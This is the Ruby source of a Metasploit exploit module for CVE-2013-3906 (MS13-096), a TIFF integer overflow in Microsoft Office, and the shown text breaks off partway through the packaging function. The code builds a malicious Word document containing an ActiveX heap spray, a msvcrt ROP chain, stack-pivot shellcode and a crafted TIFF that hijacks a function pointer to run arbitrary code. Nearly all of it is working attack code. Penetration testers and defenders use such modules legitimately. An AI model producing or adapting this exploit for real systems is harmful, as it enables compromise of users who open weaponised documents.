915 lines
30 KiB
Ruby
915 lines
30 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'rex/zip'
|
|
require 'nokogiri'
|
|
|
|
module ::Nokogiri
|
|
module XML
|
|
class Builder
|
|
#
|
|
# Some XML documents don't declare the namespace before referencing, but Nokogiri requires one.
|
|
# So here's our hack to get around that by adding a new custom method to the Builder class
|
|
#
|
|
def custom_root(ns)
|
|
e = @parent.create_element(ns)
|
|
e.add_namespace_definition(ns, "href")
|
|
@ns = e.namespace_definitions.find { |x| x.prefix == ns.to_s }
|
|
return self
|
|
end
|
|
end
|
|
end
|
|
end
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = AverageRanking
|
|
|
|
include Msf::Exploit::FILEFORMAT
|
|
include Msf::Exploit::RopDb
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => "MS13-096 Microsoft Tagged Image File Format (TIFF) Integer Overflow",
|
|
'Description' => %q{
|
|
This module exploits a vulnerability found in Microsoft's Tagged Image File Format.
|
|
It was originally discovered in the wild, targeting Windows XP and Windows Server 2003
|
|
users running Microsoft Office, specifically in the Middle East and South Asia region.
|
|
|
|
The flaw is due to a DWORD value extracted from the TIFF file that is embedded as a
|
|
drawing in Microsoft Office, and how it gets calculated with user-controlled inputs,
|
|
and stored in the EAX register. The 32-bit register will run out of storage space to
|
|
represent the large vlaue, which ends up being 0, but it still gets pushed as a
|
|
dwBytes argumenet (size) for a HeapAlloc call. The HeapAlloc function will allocate a
|
|
chunk anyway with size 0, and the address of this chunk is used as the destination buffer
|
|
of a memcpy function, where the source buffer is the EXIF data (an extended image format
|
|
supported by TIFF), and is also user-controlled. A function pointer in the chunk returned
|
|
by HeapAlloc will end up being overwritten by the memcpy function, and then later used
|
|
in OGL!GdipCreatePath. By successfully controlling this function pointer, and the
|
|
memory layout using ActiveX, it is possible to gain arbitrary code execution under the
|
|
context of the user.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Unknown', # Some dude wrote it and deployed in the wild, but Haifei Li spotted it
|
|
'sinn3r' # Metasploit
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2013-3906' ],
|
|
[ 'MSB', 'MS13-096' ],
|
|
[ 'OSVDB', '99376' ],
|
|
[ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2896666' ],
|
|
[ 'URL', 'http://blogs.technet.com/b/srd/archive/2013/11/05/cve-2013-3906-a-graphics-vulnerability-exploited-through-word-documents.aspx' ]
|
|
],
|
|
'Payload' =>
|
|
{
|
|
'PrependEncoder' => "\x64\xa1\x18\x00\x00\x00" + # mov eax, fs:[0x18]
|
|
"\x83\xC0\x08" + # add eax, byte 8
|
|
"\x8b\x20" + # mov esp, [eax]
|
|
"\x81\xC4\x30\xF8\xFF\xFF", # add esp, -2000
|
|
'BadChars' => "\x00"
|
|
},
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'thread',
|
|
'PrependMigrate' => true
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
# XP SP3 + Office 2010 Standard (14.0.6023.1000 32-bit)
|
|
['Windows XP SP3 with Office Standard 2010', {}],
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => "Nov 5 2013", # Microsoft announcement
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('FILENAME', [true, 'The docx file', 'msf.docx']),
|
|
], self.class)
|
|
end
|
|
|
|
#
|
|
# Creates a TIFF that triggers the overflow
|
|
#
|
|
def make_tiff
|
|
# TIFF Header:
|
|
# TIFF ID = 'II' (Intel order)
|
|
# TIFF Version = 42d
|
|
# Offset of FID = 0x000049c8h
|
|
#
|
|
# Image Directory:
|
|
# Number of entries = 17d
|
|
# Entry[0] NewSubFileType = 0
|
|
# Entry[1] ImageWidth = 256d
|
|
# Entry[2] ImageHeight = 338d
|
|
# Entry[3] BitsPerSample = 8 8 8
|
|
# Entry[4] Compression = JPEG (6)
|
|
# Entry[5] Photometric Interpretation = RGP
|
|
# Entry[6] StripOffsets = 68 entries (349 bytes)
|
|
# Entry[7] SamplesPerPixel = 3
|
|
# Entry[8] RowsPerStrip = 5
|
|
# Entry[9] StripByteCounts = 68 entries (278 bytes)
|
|
# Entry[10] XResolution = 96d
|
|
# Entry[11] YResolution = 96d
|
|
# Entry[12] Planar Configuration = Clunky
|
|
# Entry[13] Resolution Unit = Inch
|
|
# Entry[14] Predictor = None
|
|
# Entry[15] JPEGInterchangeFormatLength = 5252h (1484h)
|
|
# Entry[16] JPEGInterchangeFormat = 13636d
|
|
|
|
# Notes:
|
|
# These values are extracted from the file to calculate the HeapAlloc size that result in the overflow:
|
|
# - JPEGInterchangeFormatLength
|
|
# - DWORD at offset 3324h (0xffffb898), no documentation for this
|
|
# - DWORDS after offset 3328h, no documentation for these, either.
|
|
# The DWORD at offset 4874h is what ends up overwriting the function pointer by the memcpy
|
|
# The trigger is really a TIF file, but is named as a JPEG in the docx package
|
|
|
|
buf = ''
|
|
path = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2013-3906", "word", "media", "image1.jpeg")
|
|
::File.open(path, "rb") do |f|
|
|
buf = f.read
|
|
end
|
|
|
|
# Gain control of the call [eax+50h] instruction
|
|
# XCHG EAX, ESP; RETN msvcrt
|
|
buf[0x4874, 4] = [0x200F0700-0x50].pack('V')
|
|
|
|
buf
|
|
end
|
|
|
|
|
|
#
|
|
# Generates a payload
|
|
#
|
|
def get_rop_payload
|
|
p = ''
|
|
p << [0x77c15ed5].pack('V') # XCHG EAX, ESP msvcrt
|
|
p << generate_rop_payload('msvcrt','',{'target'=>'xp'})
|
|
p << payload.encoded
|
|
block = p
|
|
block << rand_text_alpha(1024 - 80 - p.length)
|
|
block << [ 0x77c34fbf, 0x200f0704 ].pack("V*") # pop esp # ret # from msvcrt
|
|
block << rand_text_alpha(1024 - block.length)
|
|
|
|
buf = ''
|
|
while (buf.length < 0x80000)
|
|
buf << block
|
|
end
|
|
|
|
buf
|
|
end
|
|
|
|
|
|
#
|
|
# Creates an ActiveX bin that will be used as a spray in Office
|
|
#
|
|
def make_activex_bin
|
|
#
|
|
# How an ActiveX bin is referred:
|
|
# document.xml.rels -> ActiveX[num].xml -> activeX[num].xml.rels -> ActiveX[num].bin
|
|
# Every bin is a Microsoft Compound Document File:
|
|
# http://www.openoffice.org/sc/compdocfileformat.pdf
|
|
|
|
# The bin file
|
|
mscd = ''
|
|
mscd << [0xe011cfd0].pack('V') # File identifier (first 4 byte)
|
|
mscd << [0xe11ab1a1].pack('V') # File identifier (second 4 byte)
|
|
mscd << [0x00000000].pack('V') * 4 # Unique Identifier
|
|
mscd << [0x003e].pack('v') # Revision number
|
|
mscd << [0x0003].pack('v') # Version number
|
|
mscd << [0xfffe].pack('v') # Byte order: Little-Endian
|
|
mscd << [0x0009].pack('v') # Sector size
|
|
mscd << [0x0006].pack('v') # Size of a short-sector
|
|
mscd << "\x00" * 10 # Not used
|
|
mscd << [0x00000001].pack('V') # Total number of sectors
|
|
mscd << [0x00000001].pack('V') # SecID for the first sector
|
|
mscd << [0x00000000].pack('V') # Not used
|
|
mscd << [0x00001000].pack('V') # Minimum size of a standard stream
|
|
mscd << [0x00000002].pack('V') # Sec ID of first sector
|
|
mscd << [0x00000001].pack('V') # Total number of sectors for the short-sector table
|
|
mscd << [0xfffffffe].pack('V') # SecID of first sector of the mastser sector table
|
|
mscd << [0x00000000].pack('V') # Total number of sectors for master sector talbe
|
|
mscd << [0x00000000].pack('V') # SecIDs
|
|
mscd << [0xffffffff].pack('V') * 4 * 59 # SecIDs
|
|
mscd[0x200, 4] = [0xfffffffd].pack('V')
|
|
mscd[0x204, 12] = [0xfffffffe].pack('V') * 3
|
|
mscd << Rex::Text.to_unicode("Root Entry")
|
|
mscd << [0x00000000].pack('V') * 11
|
|
mscd << [0x0016].pack('v') # Valid range of the previous char array
|
|
mscd << "\x05" # Type of entry (Root Storage Entry)
|
|
mscd << "\x00" # Node colour of the entry (red)
|
|
mscd << [0xffffffff].pack('V') # DirID of the left child node
|
|
mscd << [0xffffffff].pack('V') # DirID of the right child node
|
|
mscd << [0x00000001].pack('V') # DirID of the root node entry
|
|
mscd << [0x1efb6596].pack('V')
|
|
mscd << [0x11d1857c].pack('V')
|
|
mscd << [0xc0006ab1].pack('V')
|
|
mscd << [0x283628f0].pack('V')
|
|
mscd << [0x00000000].pack('V') * 3
|
|
mscd << [0x287e3070].pack('V')
|
|
mscd << [0x01ce2654].pack('V')
|
|
mscd << [0x00000003].pack('V')
|
|
mscd << [0x00000100].pack('V')
|
|
mscd << [0x00000000].pack('V')
|
|
mscd << Rex::Text.to_unicode("Contents")
|
|
mscd << [0x00000000].pack('V') * 12
|
|
mscd << [0x01020012].pack('V')
|
|
mscd << [0xffffffff].pack('V') * 3
|
|
mscd << [0x00000000].pack('V') * 10
|
|
mscd << [0x000000e4].pack('V')
|
|
mscd << [0x00000000].pack('V') * 18
|
|
mscd << [0xffffffff].pack('V') * 3
|
|
mscd << [0x00000000].pack('V') * 29
|
|
mscd << [0xffffffff].pack('V') * 3
|
|
mscd << [0x00000000].pack('V') * 12
|
|
mscd << [0x00000001].pack('V')
|
|
mscd << [0x00000002].pack('V')
|
|
mscd << [0x00000003].pack('V')
|
|
mscd << [0xfffffffe].pack('V')
|
|
mscd << [0xffffffff].pack('V') * 32 #52
|
|
mscd << [0x77c34fbf].pack('V') # POP ESP # RETN
|
|
mscd << [0x200f0704].pack('V') # Final payload target address to begin the ROP
|
|
mscd << [0xffffffff].pack('V') * 18
|
|
mscd << @rop_payload
|
|
|
|
mscd
|
|
end
|
|
|
|
|
|
#
|
|
# Creates an activeX[num].xml file
|
|
# @param rid [String] The relationship ID (example: rId1)
|
|
# @return [String] XML document
|
|
#
|
|
def make_activex_xml(rid)
|
|
attrs = {
|
|
'ax:classid' => "{1EFB6596-857C-11D1-B16A-00C0F0283628}",
|
|
'ax:license' => "9368265E-85FE-11d1-8BE3-0000F8754DA1",
|
|
'ax:persistence' => "persistStorage",
|
|
'r:id' => "rId#{rid.to_s}",
|
|
'xmlns:ax' => "http://schemas.microsoft.com/office/2006/activeX",
|
|
'xmlns:r' => @schema
|
|
}
|
|
md = ::Nokogiri::XML("<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>")
|
|
builder = ::Nokogiri::XML::Builder.with(md) do |xml|
|
|
xml.custom_root("ax")
|
|
xml.ocx(attrs)
|
|
end
|
|
|
|
builder.to_xml(:indent => 0)
|
|
end
|
|
|
|
|
|
#
|
|
# Creates an activeX[num].xml.rels
|
|
# @param relationships [Array] A collection of hashes with each containing:
|
|
# :id, :type, :target
|
|
# @return [String] XML document
|
|
#
|
|
def make_activex_xml_reals(rid, target_bin)
|
|
acx_type = "http://schemas.microsoft.com/office/2006/relationships/activeXControlBinary"
|
|
md = ::Nokogiri::XML("<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>")
|
|
builder = ::Nokogiri::XML::Builder.with(md) do |xml|
|
|
xml.Relationships('xmlns'=>"http://schemas.openxmlformats.org/package/2006/relationships") do
|
|
xml.Relationship({:Id=>"rId#{rid.to_s}", :Type=>acx_type, :Target=>target_bin})
|
|
end
|
|
end
|
|
|
|
builder.to_xml(:indent => 0)
|
|
end
|
|
|
|
#
|
|
# Creates a document.xml.reals file
|
|
# @param relationships [Array] A collection of hashes with each containing:
|
|
# :id, :type, and :target
|
|
# @return [String] XML document
|
|
#
|
|
def make_doc_xml_reals(relationships)
|
|
md = ::Nokogiri::XML("<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>")
|
|
builder = ::Nokogiri::XML::Builder.with(md) do |xml|
|
|
xml.Relationships('xmlns'=>"http://schemas.openxmlformats.org/package/2006/relationships") do
|
|
relationships.each do |r|
|
|
xml.Relationship({:Id=>"rId#{r[:id].to_s}", :Type=>r[:type], :Target=>r[:target]})
|
|
end
|
|
end
|
|
end
|
|
|
|
builder.to_xml(:indent => 0)
|
|
end
|
|
|
|
|
|
#
|
|
# Creates a _rels/.rels file
|
|
#
|
|
def init_rels(doc_xml, doc_props)
|
|
rels = []
|
|
rels << doc_xml
|
|
rels << doc_props
|
|
rels = rels.flatten
|
|
|
|
md = ::Nokogiri::XML("<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>")
|
|
builder = ::Nokogiri::XML::Builder.with(md) do |xml|
|
|
xml.Relationships('xmlns'=>"http://schemas.openxmlformats.org/package/2006/relationships") do
|
|
rels.each do |r|
|
|
xml.Relationship({:Id=>"rId#{r[:id].to_s}", :Type=>r[:type], :Target=>r[:fname].gsub(/^\//, '')})
|
|
end
|
|
end
|
|
end
|
|
|
|
{
|
|
:fname => "_rels/.rels",
|
|
:data => builder.to_xml(:indent => 0)
|
|
}
|
|
end
|
|
|
|
|
|
#
|
|
# Creates a run element for chart
|
|
# @param xml [Element]
|
|
# @param rid [String]
|
|
#
|
|
def create_chart_run_element(xml, rid)
|
|
drawingml_schema = "http://schemas.openxmlformats.org/drawingml/2006"
|
|
|
|
xml.r do
|
|
xml.rPr do
|
|
xml.noProof
|
|
xml.lang({'w:val' => "en-US"})
|
|
end
|
|
|
|
xml.drawing do
|
|
xml['wp'].inline({'distT'=>"0", 'distB'=>"0", 'distL'=>"0", 'distR'=>"0"}) do
|
|
xml['wp'].extent({'cx'=>'1', 'cy'=>'1'})
|
|
xml['wp'].effectExtent({'l'=>"1", 't'=>"0", 'r'=>"1", 'b'=>"0"})
|
|
xml['wp'].docPr({'id'=>rid.to_s, 'name' => "drawing #{rid.to_s}"})
|
|
xml['wp'].cNvGraphicFramePr
|
|
|
|
xml['a'].graphic do
|
|
xml['a'].graphicData({'uri'=>"#{drawingml_schema}/chart"}) do
|
|
xml['c'].chart({'r:id'=>"rId#{rid.to_s}"})
|
|
end
|
|
end
|
|
end
|
|
end
|
|
end
|
|
end
|
|
|
|
|
|
#
|
|
# Creates a run element for ax
|
|
# @param xml [Element]
|
|
# @param rid [String]
|
|
#
|
|
def create_ax_run_element(xml, rid)
|
|
shape_attrs = {
|
|
'id' => "_x0000_i10#{rid.to_s}",
|
|
'type' => "#_x0000_t75",
|
|
'style' => "width:1pt;height:1pt",
|
|
'o:ole' => ""
|
|
}
|
|
|
|
control_attrs = {
|
|
'r:id' => "rId#{rid.to_s}",
|
|
'w:name' => "TabStrip#{rid.to_s}",
|
|
'w:shapeid' =>"_x0000_i10#{rid.to_s}"
|
|
}
|
|
|
|
xml.r do
|
|
xml.object({'w:dxaOrig'=>"1440", 'w:dyaOrig'=>"1440"}) do
|
|
xml['v'].shape(shape_attrs)
|
|
xml['w'].control(control_attrs)
|
|
end
|
|
end
|
|
end
|
|
|
|
|
|
#
|
|
# Creates a pic run element
|
|
# @param xml [Element]
|
|
# @param rid [String]
|
|
#
|
|
def create_pic_run_element(xml, rid)
|
|
drawinxml_schema = "http://schemas.openxmlformats.org/drawingml/2006"
|
|
|
|
xml.r do
|
|
xml.rPr do
|
|
xml.noProof
|
|
xml.lang({'w:val'=>"en-US"})
|
|
end
|
|
|
|
xml.drawing do
|
|
xml['wp'].inline({'distT'=>"0", 'distB'=>"0", 'distL'=>"0", 'distR'=>"0"}) do
|
|
xml.extent({'cx'=>'1', 'cy'=>'1'})
|
|
xml['wp'].effectExtent({'l'=>"1", 't'=>"0", 'r'=>"0", 'b'=>"0"})
|
|
xml['wp'].docPr({'id'=>rid.to_s, 'name'=>"image", 'descr'=>"image.jpeg"})
|
|
xml['wp'].cNvGraphicFramePr do
|
|
xml['a'].graphicFrameLocks({'xmlns:a'=>"#{drawinxml_schema}/main", 'noChangeAspect'=>"1"})
|
|
end
|
|
|
|
xml['a'].graphic({'xmlns:a'=>"#{drawinxml_schema}/main"}) do
|
|
xml['a'].graphicData({'uri'=>"#{drawinxml_schema}/picture"}) do
|
|
xml['pic'].pic({'xmlns:pic'=>"#{drawinxml_schema}/picture"}) do
|
|
xml['pic'].nvPicPr do
|
|
xml['pic'].cNvPr({'id'=>rid.to_s, 'name'=>"image.jpeg"})
|
|
xml['pic'].cNvPicPr
|
|
end
|
|
|
|
xml['pic'].blipFill do
|
|
xml['a'].blip('r:embed'=>"rId#{rid.to_s}", 'cstate'=>"print")
|
|
xml['a'].stretch do
|
|
xml['a'].fillRect
|
|
end
|
|
end
|
|
|
|
xml['pic'].spPr do
|
|
xml['a'].xfrm do
|
|
xml['a'].off({'x'=>"0", 'y'=>"0"})
|
|
xml['a'].ext({'cx'=>"1", 'cy'=>"1"})
|
|
end
|
|
|
|
xml['a'].prstGeom({'prst' => "rect"}) do
|
|
xml['a'].avLst
|
|
end
|
|
end
|
|
end
|
|
end
|
|
end
|
|
end
|
|
end
|
|
end
|
|
end
|
|
|
|
|
|
#
|
|
# Creates a document.xml file
|
|
# @param pre_defs [Array]
|
|
# @param activex [Array]
|
|
# @param tiff_file [Array]
|
|
# @return [String] XML document
|
|
#
|
|
def init_doc_xml(last_rid, pre_defs, activex, tiff_file)
|
|
# Get all the required pre-defs
|
|
chart_rids = []
|
|
pre_defs.select { |e| chart_rids << e[:id] if e[:fname] =~ /\/word\/charts\//}
|
|
|
|
# Get all the ActiveX RIDs
|
|
ax_rids = []
|
|
activex.select { |e| ax_rids << e[:id] }
|
|
|
|
# Get the TIFF RID
|
|
tiff_rid = tiff_file[:id]
|
|
|
|
# Documentation on how this is crafted:
|
|
# http://msdn.microsoft.com/en-us/library/office/gg278308.aspx
|
|
doc_attrs = {
|
|
'xmlns:ve' => "http://schemas.openxmlformats.org/markup-compatibility/2006",
|
|
'xmlns:o' => "urn:schemas-microsoft-com:office:office",
|
|
'xmlns:r' => @schema,
|
|
'xmlns:m' => "http://schemas.openxmlformats.org/officeDocument/2006/math",
|
|
'xmlns:v' => "urn:schemas-microsoft-com:vml",
|
|
'xmlns:wp' => "http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing",
|
|
'xmlns:w10' => "urn:schemas-microsoft-com:office:word",
|
|
'xmlns:w' => "http://schemas.openxmlformats.org/wordprocessingml/2006/main",
|
|
'xmlns:wne' => "http://schemas.microsoft.com/office/word/2006/wordml",
|
|
'xmlns:a' => "http://schemas.openxmlformats.org/drawingml/2006/main",
|
|
'xmlns:c' => "http://schemas.openxmlformats.org/drawingml/2006/chart"
|
|
}
|
|
|
|
p_attrs_1 = {'w:rsidR' => "00F8254F", 'w:rsidRDefault' => "00D15BD0" }
|
|
p_attrs_2 = {'w:rsidR' => "00D15BD0", 'w:rsidRPr' =>"00D15BD0", 'w:rsidRDefault' => "00D15BD0" }
|
|
|
|
md = ::Nokogiri::XML("<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>")
|
|
builder = ::Nokogiri::XML::Builder.with(md) do |xml|
|
|
xml.custom_root("w")
|
|
|
|
xml.document(doc_attrs) do
|
|
xml.body do
|
|
# Paragraph (ActiveX)
|
|
xml.p(p_attrs_1) do
|
|
# Paragraph properties
|
|
xml.pPr do
|
|
# Run properties
|
|
xml.rPr do
|
|
xml.lang({'w:val' => "en-US"})
|
|
end
|
|
end
|
|
|
|
ax_rids.each do |rid|
|
|
create_ax_run_element(xml, rid)
|
|
end
|
|
end
|
|
|
|
xml.p(p_attrs_2) do
|
|
xml.pPr do
|
|
xml.rPr do
|
|
xml['w'].lang({'w:val'=>"en-US"})
|
|
end
|
|
end
|
|
|
|
# Charts
|
|
chart_rids.each do |rid|
|
|
create_chart_run_element(xml, rid)
|
|
end
|
|
|
|
# TIFF
|
|
create_pic_run_element(xml, tiff_rid)
|
|
end
|
|
end
|
|
end
|
|
end
|
|
|
|
{
|
|
:id => (last_rid + 1).to_s,
|
|
:type => "#{@schema}/officeDocument",
|
|
:fname => "/word/document.xml",
|
|
:content_type => "application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml",
|
|
:xml => builder.to_xml(:indent => 0)
|
|
}
|
|
end
|
|
|
|
#
|
|
# Creates a [Content.Types].xml file located in the parent directory
|
|
# @param overrides [Array] A collection of hashes with each containing
|
|
# the :PartName and :ContentType info
|
|
# @return [String] XML document
|
|
#
|
|
def make_contenttype_xml(overrides)
|
|
contenttypes = [
|
|
{
|
|
:Extension => "rels",
|
|
:ContentType => "application/vnd.openxmlformats-package.relationships+xml"
|
|
},
|
|
{
|
|
:Extension => "xml",
|
|
:ContentType => "application/xml"
|
|
},
|
|
{
|
|
:Extension => "jpeg",
|
|
:ContentType => "image/jpeg"
|
|
},
|
|
{
|
|
:Extension => "bin",
|
|
:ContentType => "application/vnd.ms-office.activeX"
|
|
},
|
|
{
|
|
:Extension => "xlsx",
|
|
:ContentType => "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet"
|
|
}
|
|
]
|
|
|
|
md = ::Nokogiri::XML("<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>")
|
|
builder = ::Nokogiri::XML::Builder.with(md) do |xml|
|
|
xml.Types({'xmlns'=>"http://schemas.openxmlformats.org/package/2006/content-types"}) do
|
|
# Default extensions
|
|
contenttypes.each do |contenttype|
|
|
xml.Default(contenttype)
|
|
end
|
|
|
|
# Additional overrides
|
|
overrides.each do |override|
|
|
override_attrs = {
|
|
:PartName => override[:PartName] || override[:fname],
|
|
:ContentType => override[:ContentType]
|
|
}
|
|
xml.Override(override_attrs)
|
|
end
|
|
end
|
|
end
|
|
|
|
builder.to_xml(:indent => 0)
|
|
end
|
|
|
|
|
|
#
|
|
# Pre-define some items that will be used in .rels
|
|
#
|
|
def init_doc_props(last_rid)
|
|
items = []
|
|
items << {
|
|
:id => (last_rid += 1),
|
|
:type => "#{@schema}/extended-properties",
|
|
:fname => "/docProps/app.xml",
|
|
:content_type => "application/vnd.openxmlformats-officedocument.extended-properties+xml"
|
|
}
|
|
|
|
items << {
|
|
:id => (last_rid += 1),
|
|
:type => "http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties",
|
|
:fname => "/docProps/core.xml",
|
|
:content_type => "application/vnd.openxmlformats-package.core-properties+xml"
|
|
}
|
|
|
|
return last_rid, items
|
|
end
|
|
|
|
|
|
#
|
|
# Pre-define some items that will be used in document.xml.rels
|
|
#
|
|
def init_doc_xml_rels_items(last_rid)
|
|
items = []
|
|
items << {
|
|
:id => (last_rid += 1),
|
|
:type => "#{@schema}/styles",
|
|
:fname => "/word/styles.xml",
|
|
:content_type => "application/vnd.openxmlformats-officedocument.wordprocessingml.styles+xml"
|
|
}
|
|
|
|
items << {
|
|
:id => (last_rid += 1),
|
|
:type => "#{@schema}/settings",
|
|
:fname => "/word/settings.xml",
|
|
:content_type => "application/vnd.openxmlformats-officedocument.wordprocessingml.settings+xml"
|
|
}
|
|
|
|
items << {
|
|
:id => (last_rid += 1),
|
|
:type => "#{@schema}/webSettings",
|
|
:fname => "/word/webSettings.xml",
|
|
:content_type => "application/vnd.openxmlformats-officedocument.wordprocessingml.webSettings+xml"
|
|
}
|
|
|
|
items << {
|
|
:id => (last_rid += 1),
|
|
:type => "#{@schema}/fontTable",
|
|
:fname => "/word/fontTable.xml",
|
|
:content_type => "application/vnd.openxmlformats-officedocument.wordprocessingml.fontTable+xml"
|
|
}
|
|
|
|
items << {
|
|
:id => (last_rid += 1),
|
|
:type => "#{@schema}/theme",
|
|
:fname => "/word/theme/theme1.xml",
|
|
:content_type => "application/vnd.openxmlformats-officedocument.theme+xml"
|
|
}
|
|
|
|
items << {
|
|
:id => (last_rid += 1),
|
|
:type => "#{@schema}/chart",
|
|
:fname => "/word/charts/chart1.xml",
|
|
:content_type => "application/vnd.openxmlformats-officedocument.drawingml.chart+xml"
|
|
}
|
|
|
|
items << {
|
|
:id => (last_rid += 1),
|
|
:type => "#{@schema}/chart",
|
|
:fname => "/word/charts/chart2.xml",
|
|
:content_type => "application/vnd.openxmlformats-officedocument.drawingml.chart+xml"
|
|
}
|
|
|
|
items << {
|
|
:id => (last_rid += 1),
|
|
:type => "#{@schema}/chart",
|
|
:fname => "/word/charts/chart3.xml",
|
|
:content_type => "application/vnd.openxmlformats-officedocument.drawingml.chart+xml"
|
|
}
|
|
|
|
items << {
|
|
:id => (last_rid += 1),
|
|
:type => "#{@schema}/chart",
|
|
:fname => "/word/charts/chart4.xml",
|
|
:content_type => "application/vnd.openxmlformats-officedocument.drawingml.chart+xml"
|
|
}
|
|
|
|
items << {
|
|
:id => (last_rid += 1),
|
|
:type => "#{@schema}/chart",
|
|
:fname => "/word/charts/chart5.xml",
|
|
:content_type => "application/vnd.openxmlformats-officedocument.drawingml.chart+xml"
|
|
}
|
|
|
|
items << {
|
|
:id => (last_rid += 1),
|
|
:type => "#{@schema}/chart",
|
|
:fname => "/word/charts/chart6.xml",
|
|
:content_type => "application/vnd.openxmlformats-officedocument.drawingml.chart+xml"
|
|
}
|
|
|
|
return last_rid, items
|
|
end
|
|
|
|
|
|
#
|
|
# Manually create everything manually in the ActiveX directory
|
|
#
|
|
def init_activex_files(last_rid)
|
|
activex = []
|
|
|
|
0x250.times do |i|
|
|
id = (last_rid += 1)
|
|
|
|
bin = {
|
|
:fname => "/word/activeX/activeX#{id.to_s}.bin",
|
|
:bin => make_activex_bin
|
|
}
|
|
|
|
xml = {
|
|
:fname => "/word/activeX/activeX#{id.to_s}.xml",
|
|
:xml => make_activex_xml(id)
|
|
}
|
|
|
|
rels = {
|
|
:fname => "/word/activeX/_rels/activeX#{id.to_s}.xml.rels",
|
|
:rels => make_activex_xml_reals(id, "activeX#{id.to_s}.bin")
|
|
}
|
|
|
|
ct = "application/vnd.ms-office.activeX+xml"
|
|
type = "#{@schema}/control"
|
|
|
|
activex << {
|
|
:id => id,
|
|
:bin => bin,
|
|
:xml => xml,
|
|
:rels => rels,
|
|
:content_type => ct,
|
|
:type => type
|
|
}
|
|
end
|
|
|
|
return last_rid, activex
|
|
end
|
|
|
|
|
|
#
|
|
# Create a [Content_Types.xml], each node contains these attributes:
|
|
# :PartName The path to an ActiveX XML file
|
|
# :ContentType The contenttype of the XML file
|
|
#
|
|
def init_contenttype_xml_file(*items)
|
|
overrides = []
|
|
items.each do |item|
|
|
item.each do |obj|
|
|
overrides << {:PartName => obj[:fname] || obj[:xml][:fname], :ContentType => obj[:content_type]}
|
|
end
|
|
end
|
|
|
|
{:fname => "[Content_Types].xml", :data => make_contenttype_xml(overrides)}
|
|
end
|
|
|
|
|
|
#
|
|
# Creates the tiff file
|
|
#
|
|
def init_tiff_file(last_rid)
|
|
id = last_rid + 1
|
|
tiff_data = {
|
|
:id => id,
|
|
:fname => "/word/media/image1.jpeg",
|
|
:data => make_tiff,
|
|
:type => "#{@schema}/image"
|
|
}
|
|
|
|
return id, tiff_data
|
|
end
|
|
|
|
#
|
|
# Create the document.xml.rels file
|
|
#
|
|
def init_doc_xml_reals_file(pre_defs, activex, tiff)
|
|
reals = []
|
|
pre_defs.each do |obj|
|
|
reals << {:id => obj[:id], :type => obj[:type], :target => obj[:fname].gsub(/^\/word\//, '')}
|
|
end
|
|
|
|
activex.each do |obj|
|
|
reals << {:id => obj[:id], :type => obj[:type], :target => obj[:xml][:fname].gsub(/^\/word\//, '')}
|
|
end
|
|
|
|
reals << {:id => tiff[:id], :type => tiff[:type], :target => tiff[:fname].gsub(/^\/word\//, '')}
|
|
|
|
{:fname => "/word/_rels/document.xml.rels", :data => make_doc_xml_reals(reals)}
|
|
end
|
|
|
|
#
|
|
# Loads a file
|
|
#
|
|
def read_file(fname)
|
|
buf = ''
|
|
::File.open(fname, "rb") do |f|
|
|
buf << f.read
|
|
end
|
|
|
|
buf
|
|
end
|
|
|
|
|
|
#
|
|
# Packages everything to docx
|
|
#
|
|
def make_docx(path)
|
|
print_status("Initializing files...")
|
|
last_rid = 0
|
|
last_rid, doc_xml_rels_items = init_doc_xml_rels_items(last_rid)
|
|
last_rid, activex = init_activex_files(last_rid)
|
|
last_rid, doc_props = init_doc_props(last_rid)
|
|
last_rid, tiff_file = init_tiff_file(last_rid)
|
|
doc_xml = init_doc_xml(last_rid, doc_xml_rels_items, activex, tiff_file)
|
|
ct_xml_file = init_contenttype_xml_file(activex, doc_xml_rels_items, doc_props, [doc_xml])
|
|
doc_xml_reals_file = init_doc_xml_reals_file(doc_xml_rels_items, activex, tiff_file)
|
|
rels_xml = init_rels(doc_xml, doc_props)
|
|
|
|
zip = Rex::Zip::Archive.new
|
|
Dir["#{path}/**/**"].each do |file|
|
|
p = file.sub(path+'/','')
|
|
|
|
if File.directory?(file)
|
|
print_status("Packing directory: #{p}")
|
|
zip.add_file(p)
|
|
else
|
|
# Avoid packing image1.jpeg because we'll load it separately
|
|
if file !~ /media\/image1\.jpeg/
|
|
print_status("Packing file: #{p}")
|
|
zip.add_file(p, read_file(file))
|
|
end
|
|
end
|
|
end
|
|
|
|
print_status("Packing ActiveX controls...")
|
|
activex.each do |ax|
|
|
ax_bin = ax[:bin]
|
|
ax_xml = ax[:xml]
|
|
ax_rels = ax[:rels]
|
|
|
|
vprint_status("Packing file: #{ax_bin[:fname]}")
|
|
zip.add_file(ax_bin[:fname], ax_bin[:bin])
|
|
|
|
vprint_status("Packing file: #{ax_xml[:fname]}")
|
|
zip.add_file(ax_xml[:fname], ax_xml[:xml])
|
|
|
|
vprint_status("Packing file: #{ax_rels[:fname]}")
|
|
zip.add_file(ax_rels[:fname], ax_rels[:rels])
|
|
end
|
|
|
|
print_status("Packing file: #{ct_xml_file[:fname]}")
|
|
zip.add_file(ct_xml_file[:fname], ct_xml_file[:data])
|
|
